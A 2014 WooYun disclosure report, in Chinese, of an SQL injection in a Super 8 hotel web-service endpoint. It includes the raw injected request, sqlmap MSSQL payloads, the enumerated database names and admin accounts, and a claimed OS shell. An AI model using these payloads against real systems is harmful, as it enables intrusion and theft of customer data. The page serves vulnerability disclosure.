当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-050857

漏洞标题：速8酒店SQL注入(可获得os-shell)

相关厂商：速8酒店

漏洞作者： m_vptr

提交时间：2014-02-13 16:33

修复时间：2014-02-23 16:33

公开时间：2014-02-23 16:33

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-13： 细节已通知厂商并且等待厂商处理中
2014-02-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

sql注入

详细说明：

http://www0.super8.com.cn/mobileInterface/Super8Interface.asmx?op=getCustInfo存在sql注入

POST /mobileInterface/Super8Interface.asmx/getCustInfo HTTP/1.1
Host: www0.super8.com.cn
Proxy-Connection: keep-alive
Content-Length: 19
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www0.super8.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www0.super8.com.cn/mobileInterface/Super8Interface.asmx?op=getCustInfo
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
Cookie: _ga=GA1.3.576428575.1392259674; __ozlvd1031=1392266610; Hm_lvt_f9811dfd07fecd5f46d92b0f29d344e7=1392259675; Hm_lpvt_f9811dfd07fecd5f46d92b0f29d344e7=1392266611; arp_scroll_position=634
cardNo=300976300%27

SQL注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: cardNo
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cardNo=300976300' AND 1257=1257-- ODsg
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: cardNo=300976300' AND 3358=CONVERT(INT,(SELECT CHAR(113)+CHAR(102)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (3358=3358) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(117)+CHAR(102)+CHAR(99)+CHAR(113)))-- tqxg
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: cardNo=300976300'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: cardNo=300976300' WAITFOR DELAY '0:0:5'--
---
[16:09:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008

可获得os-shell

Selection_046.png

浏览了一下

Selection_048.png

和 WooYun: 速8酒店某处泄漏大量用户资料及订单信息 是同一个页面。

漏洞证明：

dbs

available databases [16]:
[*] bidata
[*] crs_report
[*] distribution
[*] importcard20130412
[*] ipegasus3
[*] ipegasus_history
[*] ipegasus_mirro
[*] ipegasus_report
[*] iPegasusWeb
[*] master
[*] model
[*] msdb
[*] tempcard
[*] tempcard2
[*] tempcard3
[*] tempdb


roles

database management system users roles:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] bi (administrator)
[*] crs
[*] crs2
[*] distributor_admin (administrator)
[*] pms
[*] sa (administrator)
[*] super8admin (administrator)
[*] super8web (administrator)
[*] super8webadmin (administrator)

os-shell

Selection_046.png

浏览

Selection_048.png

不知道干啥的

Selection_049.png

没拖库，下文件，cookie都贴出来了，天地良心。

修复方案：

检查

版权声明：转载请注明来源 m_vptr@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-02-23 16:33

厂商回复：

漏洞Rank：12 (WooYun评价)

最新状态：

暂无